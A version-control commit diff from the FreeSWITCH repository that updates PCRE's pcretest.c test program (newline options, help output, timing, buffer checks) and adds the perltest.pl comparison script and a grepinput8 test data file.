       ((stack_size = get_value((unsigned char *)argv[op+1], &endptr)),
         *endptr == 0))
     {
-#ifdef _WIN32
+#if defined(_WIN32) || defined(WIN32)
     printf("PCRE: -S not supported on this OS\n");
     exit(1);
 #else
@@ -741,6 +933,7 @@
   else if (strcmp(argv[op], "-C") == 0)
     {
     int rc;
+    unsigned long int lrc;
     printf("PCRE version %s\n", pcre_version());
     printf("Compiled with\n");
     (void)pcre_config(PCRE_CONFIG_UTF8, &rc);
@@ -748,38 +941,37 @@
     (void)pcre_config(PCRE_CONFIG_UNICODE_PROPERTIES, &rc);
     printf("  %sUnicode properties support\n", rc? "" : "No ");
     (void)pcre_config(PCRE_CONFIG_NEWLINE, &rc);
-    printf("  Newline sequence is %s\n", (rc == '\r')? "CR" :
-      (rc == '\n')? "LF" : "CRLF");
+    /* Note that these values are always the ASCII values, even
+    in EBCDIC environments. CR is 13 and NL is 10. */
+    printf("  Newline sequence is %s\n", (rc == 13)? "CR" :
+      (rc == 10)? "LF" : (rc == (13<<8 | 10))? "CRLF" :
+      (rc == -2)? "ANYCRLF" :
+      (rc == -1)? "ANY" : "???");
+    (void)pcre_config(PCRE_CONFIG_BSR, &rc);
+    printf("  \\R matches %s\n", rc? "CR, LF, or CRLF only" :
+                                     "all Unicode newlines");
     (void)pcre_config(PCRE_CONFIG_LINK_SIZE, &rc);
     printf("  Internal link size = %d\n", rc);
     (void)pcre_config(PCRE_CONFIG_POSIX_MALLOC_THRESHOLD, &rc);
     printf("  POSIX malloc threshold = %d\n", rc);
-    (void)pcre_config(PCRE_CONFIG_MATCH_LIMIT, &rc);
-    printf("  Default match limit = %d\n", rc);
-    (void)pcre_config(PCRE_CONFIG_MATCH_LIMIT_RECURSION, &rc);
-    printf("  Default recursion depth limit = %d\n", rc);
+    (void)pcre_config(PCRE_CONFIG_MATCH_LIMIT, &lrc);
+    printf("  Default match limit = %ld\n", lrc);
+    (void)pcre_config(PCRE_CONFIG_MATCH_LIMIT_RECURSION, &lrc);
+    printf("  Default recursion depth limit = %ld\n", lrc);
     (void)pcre_config(PCRE_CONFIG_STACKRECURSE, &rc);
     printf("  Match recursion uses %s\n", rc? "stack" : "heap");
-    exit(0);
+    goto EXIT;
     }
+  else if (strcmp(argv[op], "-help") == 0 ||
+           strcmp(argv[op], "--help") == 0)
+    {
+    usage();
+    goto EXIT;
+    }
   else
     {
     printf("** Unknown or malformed option %s\n", argv[op]);
-    printf("Usage:   pcretest [options] [<input> [<output>]]\n");
-    printf("  -C     show PCRE compile-time options and exit\n");
-    printf("  -d     debug: show compiled code; implies -i\n");
-#if !defined NODFA
-    printf("  -dfa   force DFA matching for all subjects\n");
-#endif
-    printf("  -i     show information about compiled pattern\n"
-           "  -m     output memory used information\n"
-           "  -o <n> set size of offsets vector to <n>\n");
-#if !defined NOPOSIX
-    printf("  -p     use POSIX interface\n");
-#endif
-    printf("  -S <n> set stack size to <n> megabytes\n");
-    printf("  -s     output store (memory) used information\n"
-           "  -t     time compilation and execution\n");
+    usage();
     yield = 1;
     goto EXIT;
     }
@@ -794,7 +986,7 @@
 if (offsets == NULL)
   {
   printf("** Failed to get %d bytes of memory for offsets vector\n",
-    size_offsets_max * (int)sizeof(int));
+    (int)(size_offsets_max * sizeof(int)));
   yield = 1;
   goto EXIT;
   }
@@ -803,7 +995,7 @@
 
 if (argc > 1)
   {
-  infile = fopen(argv[op], "rb");
+  infile = fopen(argv[op], INPUT_MODE);
   if (infile == NULL)
     {
     printf("** Failed to open %s\n", argv[op]);
@@ -814,7 +1006,7 @@
 
 if (argc > 2)
   {
-  outfile = fopen(argv[op+1], "wb");
+  outfile = fopen(argv[op+1], OUTPUT_MODE);
   if (outfile == NULL)
     {
     printf("** Failed to open %s\n", argv[op+1]);
@@ -859,12 +1051,12 @@
   int do_showinfo = showinfo;
   int do_showrest = 0;
   int do_flip = 0;
-  int erroroffset, len, delimiter;
+  int erroroffset, len, delimiter, poffset;
 
   use_utf8 = 0;
+  debug_lengths = 1;
 
-  if (infile == stdin) printf("  re> ");
-  if (extend_inputline(infile, buffer) == NULL) break;
+  if (extend_inputline(infile, buffer, "  re> ") == NULL) break;
   if (infile != stdin) fprintf(outfile, "%s", (char *)buffer);
   fflush(outfile);
 
@@ -964,11 +1156,12 @@
 
   if (isalnum(delimiter) || delimiter == '\\')
     {
-    fprintf(outfile, "** Delimiter must not be alphameric or \\\n");
+    fprintf(outfile, "** Delimiter must not be alphanumeric or \\\n");
     goto SKIP_DATA;
     }
 
   pp = p;
+  poffset = p - buffer;
 
   for(;;)
     {
@@ -979,8 +1172,7 @@
       pp++;
       }
     if (*pp != 0) break;
-    if (infile == stdin) printf("    > ");
-    if ((pp = extend_inputline(infile, pp)) == NULL)
+    if ((pp = extend_inputline(infile, pp, "    > ")) == NULL)
       {
       fprintf(outfile, "** Unexpected EOF\n");
       done = 1;
@@ -989,6 +1181,11 @@
     if (infile != stdin) fprintf(outfile, "%s", (char *)pp);
     }
 
+  /* The buffer may have moved while being extended; reset the start of data
+  pointer to the correct relative point in the buffer. */
+
+  p = buffer + poffset;
+
   /* If the first character after the delimiter is backslash, make
   the pattern end with backslash. This is purely to provide a way
   of testing for the error message when a pattern ends with backslash. */
@@ -1020,6 +1217,7 @@
 
       case '+': do_showrest = 1; break;
       case 'A': options |= PCRE_ANCHORED; break;
+      case 'B': do_debug = 1; break;
       case 'C': options |= PCRE_AUTO_CALLOUT; break;
       case 'D': do_debug = do_showinfo = 1; break;
       case 'E': options |= PCRE_DOLLAR_ENDONLY; break;
@@ -1037,19 +1235,22 @@
       case 'S': do_study = 1; break;
       case 'U': options |= PCRE_UNGREEDY; break;
       case 'X': options |= PCRE_EXTRA; break;
+      case 'Z': debug_lengths = 0; break;
       case '8': options |= PCRE_UTF8; use_utf8 = 1; break;
       case '?': options |= PCRE_NO_UTF8_CHECK; break;
 
       case 'L':
       ppp = pp;
-      /* The '\r' test here is so that it works on Windows */
-      while (*ppp != '\n' && *ppp != '\r' && *ppp != ' ') ppp++;
+      /* The '\r' test here is so that it works on Windows. */
+      /* The '0' test is just in case this is an unterminated line. */
+      while (*ppp != 0 && *ppp != '\n' && *ppp != '\r' && *ppp != ' ') ppp++;
       *ppp = 0;
       if (setlocale(LC_CTYPE, (const char *)pp) == NULL)
         {
         fprintf(outfile, "** Failed to set locale \"%s\"\n", pp);
         goto SKIP_DATA;
         }
+      locale_set = 1;
       tables = pcre_maketables();
       pp = ppp;
       break;
@@ -1063,10 +1264,18 @@
 
       case '<':
         {
-        int x = check_newline(pp, outfile);
-        if (x == 0) goto SKIP_DATA;
-        options |= x;
-        while (*pp++ != '>');
+        if (strncmp((char *)pp, "JS>", 3) == 0)
+          {
+          options |= PCRE_JAVASCRIPT_COMPAT;
+          pp += 3;
+          }
+        else
+          {
+          int x = check_newline(pp, outfile);
+          if (x == 0) goto SKIP_DATA;
+          options |= x;
+          while (*pp++ != '>');
+          }
         }
       break;
 
@@ -1116,19 +1325,21 @@
 #endif  /* !defined NOPOSIX */
 
     {
-    if (timeit)
+    unsigned long int get_options;
+
+    if (timeit > 0)
       {
       register int i;
       clock_t time_taken;
       clock_t start_time = clock();
-      for (i = 0; i < LOOPREPEAT; i++)
+      for (i = 0; i < timeit; i++)
         {
         re = pcre_compile((char *)p, options, &error, &erroroffset, tables);
         if (re != NULL) free(re);
         }
       time_taken = clock() - start_time;
-      fprintf(outfile, "Compile time %.3f milliseconds\n",
-        (((double)time_taken * 1000.0) / (double)LOOPREPEAT) /
+      fprintf(outfile, "Compile time %.4f milliseconds\n",
+        (((double)time_taken * 1000.0) / (double)timeit) /
           (double)CLOCKS_PER_SEC);
       }
 
@@ -1145,7 +1356,7 @@
         {
         for (;;)
           {
-          if (extend_inputline(infile, buffer) == NULL)
+          if (extend_inputline(infile, buffer, NULL) == NULL)
             {
             done = 1;
             goto CONTINUE;
@@ -1159,10 +1370,17 @@
       goto CONTINUE;
       }
 
-    /* Compilation succeeded; print data if required. There are now two
-    info-returning functions. The old one has a limited interface and
-    returns only limited data. Check that it agrees with the newer one. */
+    /* Compilation succeeded. It is now possible to set the UTF-8 option from
+    within the regex; check for this so that we know how to process the data
+    lines. */
 
+    new_info(re, NULL, PCRE_INFO_OPTIONS, &get_options);
+    if ((get_options & PCRE_UTF8) != 0) use_utf8 = 1;
+
+    /* Print information if required. There are now two info-returning
+    functions. The old one has a limited interface and returns only limited
+    data. Check that it agrees with the newer one. */
+
     if (log_store)
       fprintf(outfile, "Memory allocation (code space): %d\n",
         (int)(gotten_store -
@@ -1180,17 +1398,17 @@
 
     if (do_study)
       {
-      if (timeit)
+      if (timeit > 0)
         {
         register int i;
         clock_t time_taken;
         clock_t start_time = clock();
-        for (i = 0; i < LOOPREPEAT; i++)
+        for (i = 0; i < timeit; i++)
           extra = pcre_study(re, study_options, &error);
         time_taken = clock() - start_time;
         if (extra != NULL) free(extra);
-        fprintf(outfile, "  Study time %.3f milliseconds\n",
-          (((double)time_taken * 1000.0) / (double)LOOPREPEAT) /
+        fprintf(outfile, "  Study time %.4f milliseconds\n",
+          (((double)time_taken * 1000.0) / (double)timeit) /
             (double)CLOCKS_PER_SEC);
         }
       extra = pcre_study(re, study_options, &error);
@@ -1208,18 +1426,25 @@
     if (do_flip)
       {
       real_pcre *rre = (real_pcre *)re;
-      rre->magic_number = byteflip(rre->magic_number, sizeof(rre->magic_number));
+      rre->magic_number =
+        byteflip(rre->magic_number, sizeof(rre->magic_number));
       rre->size = byteflip(rre->size, sizeof(rre->size));
       rre->options = byteflip(rre->options, sizeof(rre->options));
-      rre->top_bracket = byteflip(rre->top_bracket, sizeof(rre->top_bracket));
-      rre->top_backref = byteflip(rre->top_backref, sizeof(rre->top_backref));
-      rre->first_byte = byteflip(rre->first_byte, sizeof(rre->first_byte));
-      rre->req_byte = byteflip(rre->req_byte, sizeof(rre->req_byte));
-      rre->name_table_offset = byteflip(rre->name_table_offset,
+      rre->flags = (pcre_uint16)byteflip(rre->flags, sizeof(rre->flags));
+      rre->top_bracket =
+        (pcre_uint16)byteflip(rre->top_bracket, sizeof(rre->top_bracket));
+      rre->top_backref =
+        (pcre_uint16)byteflip(rre->top_backref, sizeof(rre->top_backref));
+      rre->first_byte =
+        (pcre_uint16)byteflip(rre->first_byte, sizeof(rre->first_byte));
+      rre->req_byte =
+        (pcre_uint16)byteflip(rre->req_byte, sizeof(rre->req_byte));
+      rre->name_table_offset = (pcre_uint16)byteflip(rre->name_table_offset,
         sizeof(rre->name_table_offset));
-      rre->name_entry_size = byteflip(rre->name_entry_size,
+      rre->name_entry_size = (pcre_uint16)byteflip(rre->name_entry_size,
         sizeof(rre->name_entry_size));
-      rre->name_count = byteflip(rre->name_count, sizeof(rre->name_count));
+      rre->name_count = (pcre_uint16)byteflip(rre->name_count,
+        sizeof(rre->name_count));
 
       if (extra != NULL)
         {
@@ -1233,23 +1458,25 @@
 
     SHOW_INFO:
 
+    if (do_debug)
+      {
+      fprintf(outfile, "------------------------------------------------------------------\n");
+      pcre_printint(re, outfile, debug_lengths);
+      }
+
+    /* We already have the options in get_options (see above) */
+
     if (do_showinfo)
       {
-      unsigned long int get_options, all_options;
+      unsigned long int all_options;
 #if !defined NOINFOCHECK
       int old_first_char, old_options, old_count;
 #endif
-      int count, backrefmax, first_char, need_char;
+      int count, backrefmax, first_char, need_char, okpartial, jchanged,
+        hascrorlf;
       int nameentrysize, namecount;
       const uschar *nametable;
 
-      if (do_debug)
-        {
-        fprintf(outfile, "------------------------------------------------------------------\n");
-        pcre_printint(re, outfile);
-        }
-
-      new_info(re, NULL, PCRE_INFO_OPTIONS, &get_options);
       new_info(re, NULL, PCRE_INFO_SIZE, &size);
       new_info(re, NULL, PCRE_INFO_CAPTURECOUNT, &count);
       new_info(re, NULL, PCRE_INFO_BACKREFMAX, &backrefmax);
@@ -1258,6 +1485,9 @@
       new_info(re, NULL, PCRE_INFO_NAMEENTRYSIZE, &nameentrysize);
       new_info(re, NULL, PCRE_INFO_NAMECOUNT, &namecount);
       new_info(re, NULL, PCRE_INFO_NAMETABLE, (void *)&nametable);
+      new_info(re, NULL, PCRE_INFO_OKPARTIAL, &okpartial);
+      new_info(re, NULL, PCRE_INFO_JCHANGED, &jchanged);
+      new_info(re, NULL, PCRE_INFO_HASCRORLF, &hascrorlf);
 
 #if !defined NOINFOCHECK
       old_count = pcre_info(re, &old_options, &old_first_char);
@@ -1299,26 +1529,22 @@
           }
         }
 
-      /* The NOPARTIAL bit is a private bit in the options, so we have
-      to fish it out via out back door */
+      if (!okpartial) fprintf(outfile, "Partial matching not supported\n");
+      if (hascrorlf) fprintf(outfile, "Contains explicit CR or LF match\n");
 
       all_options = ((real_pcre *)re)->options;
-      if (do_flip)
-        {
-        all_options = byteflip(all_options, sizeof(all_options));
-         }
+      if (do_flip) all_options = byteflip(all_options, sizeof(all_options));
 
-      if ((all_options & PCRE_NOPARTIAL) != 0)
-        fprintf(outfile, "Partial matching not supported\n");
-
       if (get_options == 0) fprintf(outfile, "No options\n");
-        else fprintf(outfile, "Options:%s%s%s%s%s%s%s%s%s%s%s%s%s\n",
+        else fprintf(outfile, "Options:%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s\n",
           ((get_options & PCRE_ANCHORED) != 0)? " anchored" : "",
           ((get_options & PCRE_CASELESS) != 0)? " caseless" : "",
           ((get_options & PCRE_EXTENDED) != 0)? " extended" : "",
           ((get_options & PCRE_MULTILINE) != 0)? " multiline" : "",
           ((get_options & PCRE_FIRSTLINE) != 0)? " firstline" : "",
           ((get_options & PCRE_DOTALL) != 0)? " dotall" : "",
+          ((get_options & PCRE_BSR_ANYCRLF) != 0)? " bsr_anycrlf" : "",
+          ((get_options & PCRE_BSR_UNICODE) != 0)? " bsr_unicode" : "",
           ((get_options & PCRE_DOLLAR_ENDONLY) != 0)? " dollar_endonly" : "",
           ((get_options & PCRE_EXTRA) != 0)? " extra" : "",
           ((get_options & PCRE_UNGREEDY) != 0)? " ungreedy" : "",
@@ -1327,7 +1553,9 @@
           ((get_options & PCRE_NO_UTF8_CHECK) != 0)? " no_utf8_check" : "",
           ((get_options & PCRE_DUPNAMES) != 0)? " dupnames" : "");
 
-      switch (get_options & PCRE_NEWLINE_CRLF)
+      if (jchanged) fprintf(outfile, "Duplicate name status changes\n");
+
+      switch (get_options & PCRE_NEWLINE_BITS)
         {
         case PCRE_NEWLINE_CR:
         fprintf(outfile, "Forced newline sequence: CR\n");
@@ -1341,6 +1569,14 @@
         fprintf(outfile, "Forced newline sequence: CRLF\n");
         break;
 
+        case PCRE_NEWLINE_ANYCRLF:
+        fprintf(outfile, "Forced newline sequence: ANYCRLF\n");
+        break;
+
+        case PCRE_NEWLINE_ANY:
+        fprintf(outfile, "Forced newline sequence: ANY\n");
+        break;
+
         default:
         break;
         }
@@ -1358,7 +1594,7 @@
         int ch = first_char & 255;
         const char *caseless = ((first_char & REQ_CASELESS) == 0)?
           "" : " (caseless)";
-        if (isprint(ch))
+        if (PRINTHEX(ch))
           fprintf(outfile, "First char = \'%c\'%s\n", ch, caseless);
         else
           fprintf(outfile, "First char = %d%s\n", ch, caseless);
@@ -1373,7 +1609,7 @@
         int ch = need_char & 255;
         const char *caseless = ((need_char & REQ_CASELESS) == 0)?
           "" : " (caseless)";
-        if (isprint(ch))
+        if (PRINTHEX(ch))
           fprintf(outfile, "Need char = \'%c\'%s\n", ch, caseless);
         else
           fprintf(outfile, "Need char = %d%s\n", ch, caseless);
@@ -1409,7 +1645,7 @@
                   fprintf(outfile, "\n  ");
                   c = 2;
                   }
-                if (isprint(i) && i != ' ')
+                if (PRINTHEX(i) && i != ' ')
                   {
                   fprintf(outfile, "%c ", i);
                   c += 2;
@@ -1441,15 +1677,15 @@
       else
         {
         uschar sbuf[8];
-        sbuf[0] = (true_size >> 24)  & 255;
-        sbuf[1] = (true_size >> 16)  & 255;
-        sbuf[2] = (true_size >>  8)  & 255;
-        sbuf[3] = (true_size)  & 255;
+        sbuf[0] = (uschar)((true_size >> 24) & 255);
+        sbuf[1] = (uschar)((true_size >> 16) & 255);
+        sbuf[2] = (uschar)((true_size >>  8) & 255);
+        sbuf[3] = (uschar)((true_size) & 255);
 
-        sbuf[4] = (true_study_size >> 24)  & 255;
-        sbuf[5] = (true_study_size >> 16)  & 255;
-        sbuf[6] = (true_study_size >>  8)  & 255;
-        sbuf[7] = (true_study_size)  & 255;
+        sbuf[4] = (uschar)((true_study_size >> 24) & 255);
+        sbuf[5] = (uschar)((true_study_size >> 16) & 255);
+        sbuf[6] = (uschar)((true_study_size >>  8) & 255);
+        sbuf[7] = (uschar)((true_study_size) & 255);
 
         if (fwrite(sbuf, 1, 8, f) < 8 ||
             fwrite(re, 1, true_size, f) < true_size)
@@ -1468,6 +1704,7 @@
                 strerror(errno));
               }
             else fprintf(outfile, "Study data written to %s\n", to_file);
+
             }
           }
         fclose(f);
@@ -1485,14 +1722,14 @@
   for (;;)
     {
     uschar *q;
-    uschar *bptr = dbuffer;
+    uschar *bptr;
     int *use_offsets = offsets;
     int use_size_offsets = size_offsets;
     int callout_data = 0;
     int callout_data_set = 0;
     int count, c;
     int copystrings = 0;
-    int find_match_limit = 0;
+    int find_match_limit = default_find_match_limit;
     int getstrings = 0;
     int getlist = 0;
     int gmatched = 0;
@@ -1522,8 +1759,7 @@
     len = 0;
     for (;;)
       {
-      if (infile == stdin) printf("data> ");
-      if (extend_inputline(infile, buffer + len) == NULL)
+      if (extend_inputline(infile, buffer + len, "data> ") == NULL)
         {
         if (len > 0) break;
         done = 1;
@@ -1541,7 +1777,7 @@
     p = buffer;
     while (isspace(*p)) p++;
 
-    q = dbuffer;
+    bptr = q = dbuffer;
     while ((c = *p++) != 0)
       {
       int i = 0;
@@ -1591,9 +1827,19 @@
             {
             unsigned char buff8[8];
             int ii, utn;
-            utn = ord2utf8(c, buff8);
-            for (ii = 0; ii < utn - 1; ii++) *q++ = buff8[ii];
-            c = buff8[ii];   /* Last byte */
+            if (use_utf8)
+              {
+              utn = ord2utf8(c, buff8);
+              for (ii = 0; ii < utn - 1; ii++) *q++ = buff8[ii];
+              c = buff8[ii];   /* Last byte */
+              }
+            else
+             {
+             if (c > 255)
+               fprintf(outfile, "** Character \\x{%x} is greater than 255 and "
+                 "UTF-8 mode is not enabled.\n"
+                 "** Truncation will probably give the wrong result.\n", c);
+             }
             p = pt + 1;
             break;
             }
@@ -1736,7 +1982,7 @@
           if (offsets == NULL)
             {
             printf("** Failed to get %d bytes of memory for offsets vector\n",
-              size_offsets_max * (int)sizeof(int));
+              (int)(size_offsets_max * sizeof(int)));
             yield = 1;
             goto EXIT;
             }
@@ -1781,6 +2027,10 @@
         show_malloc = 1;
         continue;
 
+        case 'Y':
+        options |= PCRE_NO_START_OPTIMIZE;
+        continue;
+
         case 'Z':
         options |= PCRE_NOTEOL;
         continue;
@@ -1803,6 +2053,23 @@
     *q = 0;
     len = q - dbuffer;
 
+    /* Move the data to the end of the buffer so that a read over the end of
+    the buffer will be seen by valgrind, even if it doesn't cause a crash. If
+    we are using the POSIX interface, we must include the terminating zero. */
+
+#if !defined NOPOSIX
+    if (posix || do_posix)
+      {
+      memmove(bptr + buffer_size - len - 1, bptr, len + 1);
+      bptr += buffer_size - len - 1;
+      }
+    else
+#endif
+      {
+      memmove(bptr + buffer_size - len, bptr, len);
+      bptr += buffer_size - len;
+      }
+
     if ((all_use_dfa || use_dfa) && find_match_limit)
       {
       printf("**Match limit not relevant for DFA matching: ignored\n");
@@ -1822,6 +2089,7 @@
         pmatch = (regmatch_t *)malloc(sizeof(regmatch_t) * use_size_offsets);
       if ((options & PCRE_NOTBOL) != 0) eflags |= REG_NOTBOL;
       if ((options & PCRE_NOTEOL) != 0) eflags |= REG_NOTEOL;
+      if ((options & PCRE_NOTEMPTY) != 0) eflags |= REG_NOTEMPTY;
 
       rc = regexec(&preg, (const char *)bptr, use_size_offsets, pmatch, eflags);
 
@@ -1866,7 +2134,7 @@
 
     for (;; gmatched++)    /* Loop for /g or /G */
       {
-      if (timeit)
+      if (timeitm > 0)
         {
         register int i;
         clock_t time_taken;
@@ -1876,7 +2144,7 @@
         if (all_use_dfa || use_dfa)
           {
           int workspace[1000];
-          for (i = 0; i < LOOPREPEAT; i++)
+          for (i = 0; i < timeitm; i++)
             count = pcre_dfa_exec(re, NULL, (char *)bptr, len, start_offset,
               options | g_notempty, use_offsets, use_size_offsets, workspace,
               sizeof(workspace)/sizeof(int));
@@ -1884,13 +2152,13 @@
         else
 #endif
 
-        for (i = 0; i < LOOPREPEAT; i++)
+        for (i = 0; i < timeitm; i++)
           count = pcre_exec(re, extra, (char *)bptr, len,
             start_offset, options | g_notempty, use_offsets, use_size_offsets);
 
         time_taken = clock() - start_time;
-        fprintf(outfile, "Execute time %.3f milliseconds\n",
-          (((double)time_taken * 1000.0) / (double)LOOPREPEAT) /
+        fprintf(outfile, "Execute time %.4f milliseconds\n",
+          (((double)time_taken * 1000.0) / (double)timeitm) /
             (double)CLOCKS_PER_SEC);
         }
 
@@ -1966,7 +2234,28 @@
 
       if (count >= 0)
         {
-        int i;
+        int i, maxcount;
+
+#if !defined NODFA
+        if (all_use_dfa || use_dfa) maxcount = use_size_offsets/2; else
+#endif
+          maxcount = use_size_offsets/3;
+
+        /* This is a check against a lunatic return value. */
+
+        if (count > maxcount)
+          {
+          fprintf(outfile,
+            "** PCRE error: returned count %d is too big for offset size %d\n",
+            count, use_size_offsets);
+          count = use_size_offsets/3;
+          if (do_g || do_G)
+            {
+            fprintf(outfile, "** /%c loop abandoned\n", do_g? 'g' : 'G');
+            do_g = do_G = FALSE;        /* Break g/G loop */
+            }
+          }
+
         for (i = 0; i < count * 2; i += 2)
           {
           if (use_offsets[i] < 0)
@@ -2084,20 +2373,47 @@
         }
 
       /* Failed to match. If this is a /g or /G loop and we previously set
-      g_notempty after a null match, this is not necessarily the end.
-      We want to advance the start offset, and continue. In the case of UTF-8
-      matching, the advance must be one character, not one byte. Fudge the
-      offset values to achieve this. We won't be at the end of the string -
-      that was checked before setting g_notempty. */
+      g_notempty after a null match, this is not necessarily the end. We want
+      to advance the start offset, and continue. We won't be at the end of the
+      string - that was checked before setting g_notempty.
 
+      Complication arises in the case when the newline option is "any" or
+      "anycrlf". If the previous match was at the end of a line terminated by
+      CRLF, an advance of one character just passes the \r, whereas we should
+      prefer the longer newline sequence, as does the code in pcre_exec().
+      Fudge the offset value to achieve this.
+
+      Otherwise, in the case of UTF-8 matching, the advance must be one
+      character, not one byte. */
+
       else
         {
         if (g_notempty != 0)
           {
           int onechar = 1;
+          unsigned int obits = ((real_pcre *)re)->options;
           use_offsets[0] = start_offset;
-          if (use_utf8)
+          if ((obits & PCRE_NEWLINE_BITS) == 0)
             {
+            int d;
+            (void)pcre_config(PCRE_CONFIG_NEWLINE, &d);
+            /* Note that these values are always the ASCII ones, even in
+            EBCDIC environments. CR = 13, NL = 10. */
+            obits = (d == 13)? PCRE_NEWLINE_CR :
+                    (d == 10)? PCRE_NEWLINE_LF :
+                    (d == (13<<8 | 10))? PCRE_NEWLINE_CRLF :
+                    (d == -2)? PCRE_NEWLINE_ANYCRLF :
+                    (d == -1)? PCRE_NEWLINE_ANY : 0;
+            }
+          if (((obits & PCRE_NEWLINE_BITS) == PCRE_NEWLINE_ANY ||
+               (obits & PCRE_NEWLINE_BITS) == PCRE_NEWLINE_ANYCRLF)
+              &&
+              start_offset < len - 1 &&
+              bptr[start_offset] == '\r' &&
+              bptr[start_offset+1] == '\n')
+            onechar++;
+          else if (use_utf8)
+            {
             while (start_offset + onechar < len)
               {
               int tb = bptr[start_offset+onechar];
@@ -2131,6 +2447,7 @@
       character. */
 
       g_notempty = 0;
+
       if (use_offsets[0] == use_offsets[1])
         {
         if (use_offsets[0] == len) break;
@@ -2165,6 +2482,7 @@
     {
     new_free((void *)tables);
     setlocale(LC_CTYPE, "C");
+    locale_set = 0;
     }
   }
 

Copied: freeswitch/branches/seven/libs/pcre/perltest.pl (from rev 14471, freeswitch/trunk/libs/pcre/perltest.pl) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/perltest.pl	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/perltest.pl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,191 @@
+#! /usr/bin/env perl
+
+# Program for testing regular expressions with perl to check that PCRE handles
+# them the same. This is the version that supports /8 for UTF-8 testing. As it
+# stands, it requires at least Perl 5.8 for UTF-8 support. However, it needs to
+# have "use utf8" at the start for running the UTF-8 tests, but *not* for the
+# other tests. The only way I've found for doing this is to cat this line in
+# explicitly in the RunPerlTest script.
+
+# use locale;  # With this included, \x0b matches \s!
+
+# Function for turning a string into a string of printing chars. There are
+# currently problems with UTF-8 strings; this fudges round them.
+
+sub pchars {
+my($t) = "";
+
+if ($utf8)
+  {
+  @p = unpack('U*', $_[0]);
+  foreach $c (@p)
+    {
+    if ($c >= 32 && $c < 127) { $t .= chr $c; }
+      else { $t .= sprintf("\\x{%02x}", $c); }
+    }
+  }
+
+else
+  {
+  foreach $c (split(//, $_[0]))
+    {
+    if (ord $c >= 32 && ord $c < 127) { $t .= $c; }
+      else { $t .= sprintf("\\x%02x", ord $c); }
+    }
+  }
+
+$t;
+}
+
+
+# Read lines from named file or stdin and write to named file or stdout; lines
+# consist of a regular expression, in delimiters and optionally followed by
+# options, followed by a set of test data, terminated by an empty line.
+
+# Sort out the input and output files
+
+if (@ARGV > 0)
+  {
+  open(INFILE, "<$ARGV[0]") || die "Failed to open $ARGV[0]\n";
+  $infile = "INFILE";
+  }
+else { $infile = "STDIN"; }
+
+if (@ARGV > 1)
+  {
+  open(OUTFILE, ">$ARGV[1]") || die "Failed to open $ARGV[1]\n";
+  $outfile = "OUTFILE";
+  }
+else { $outfile = "STDOUT"; }
+
+printf($outfile "Perl $] Regular Expressions\n\n");
+
+# Main loop
+
+NEXT_RE:
+for (;;)
+  {
+  printf "  re> " if $infile eq "STDIN";
+  last if ! ($_ = <$infile>);
+  printf $outfile "$_" if $infile ne "STDIN";
+  next if ($_ eq "");
+
+  $pattern = $_;
+
+  while ($pattern !~ /^\s*(.).*\1/s)
+    {
+    printf "    > " if $infile eq "STDIN";
+    last if ! ($_ = <$infile>);
+    printf $outfile "$_" if $infile ne "STDIN";
+    $pattern .= $_;
+    }
+
+   chomp($pattern);
+   $pattern =~ s/\s+$//;
+
+  # The private /+ modifier means "print $' afterwards".
+
+  $showrest = ($pattern =~ s/\+(?=[a-z]*$)//);
+
+  # Remove /8 from a UTF-8 pattern.
+
+  $utf8 = $pattern =~ s/8(?=[a-z]*$)//;
+
+  # Check that the pattern is valid
+
+  eval "\$_ =~ ${pattern}";
+  if ($@)
+    {
+    printf $outfile "Error: $@";
+    next NEXT_RE;
+    }
+
+  # If the /g modifier is present, we want to put a loop round the matching;
+  # otherwise just a single "if".
+
+  $cmd = ($pattern =~ /g[a-z]*$/)? "while" : "if";
+
+  # If the pattern is actually the null string, Perl uses the most recently
+  # executed (and successfully compiled) regex is used instead. This is a
+  # nasty trap for the unwary! The PCRE test suite does contain null strings
+  # in places - if they are allowed through here all sorts of weird and
+  # unexpected effects happen. To avoid this, we replace such patterns with
+  # a non-null pattern that has the same effect.
+
+  $pattern = "/(?#)/$2" if ($pattern =~ /^(.)\1(.*)$/);
+
+  # Read data lines and test them
+
+  for (;;)
+    {
+    printf "data> " if $infile eq "STDIN";
+    last NEXT_RE if ! ($_ = <$infile>);
+    chomp;
+    printf $outfile "$_\n" if $infile ne "STDIN";
+
+    s/\s+$//;
+    s/^\s+//;
+
+    last if ($_ eq "");
+    $x = eval "\"$_\"";   # To get escapes processed
+
+    # Empty array for holding results, then do the matching.
+
+    @subs = ();
+
+    $pushes = "push \@subs,\$&;" .
+         "push \@subs,\$1;" .
+         "push \@subs,\$2;" .
+         "push \@subs,\$3;" .
+         "push \@subs,\$4;" .
+         "push \@subs,\$5;" .
+         "push \@subs,\$6;" .
+         "push \@subs,\$7;" .
+         "push \@subs,\$8;" .
+         "push \@subs,\$9;" .
+         "push \@subs,\$10;" .
+         "push \@subs,\$11;" .
+         "push \@subs,\$12;" .
+         "push \@subs,\$13;" .
+         "push \@subs,\$14;" .
+         "push \@subs,\$15;" .
+         "push \@subs,\$16;" .
+         "push \@subs,\$'; }";
+
+    eval "${cmd} (\$x =~ ${pattern}) {" . $pushes;
+
+    if ($@)
+      {
+      printf $outfile "Error: $@\n";
+      next NEXT_RE;
+      }
+    elsif (scalar(@subs) == 0)
+      {
+      printf $outfile "No match\n";
+      }
+    else
+      {
+      while (scalar(@subs) != 0)
+        {
+        printf $outfile (" 0: %s\n", &pchars($subs[0]));
+        printf $outfile (" 0+ %s\n", &pchars($subs[17])) if $showrest;
+        $last_printed = 0;
+        for ($i = 1; $i <= 16; $i++)
+          {
+          if (defined $subs[$i])
+            {
+            while ($last_printed++ < $i-1)
+              { printf $outfile ("%2d: <unset>\n", $last_printed); }
+            printf $outfile ("%2d: %s\n", $i, &pchars($subs[$i]));
+            $last_printed = $i;
+            }
+          }
+        splice(@subs, 0, 18);
+        }
+      }
+    }
+  }
+
+# printf $outfile "\n";
+
+# End

Copied: freeswitch/branches/seven/libs/pcre/testdata/grepinput8 (from rev 14471, freeswitch/trunk/libs/pcre/testdata/grepinput8) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/grepinput8	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/testdata/grepinput8	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+X one
+X twoX threeX four
+X five
+X six
+X seven…X eight
X nine
X ten
+
+Before 111
+Before 222
Before 333…Match
+After 111
+After 222
After 333
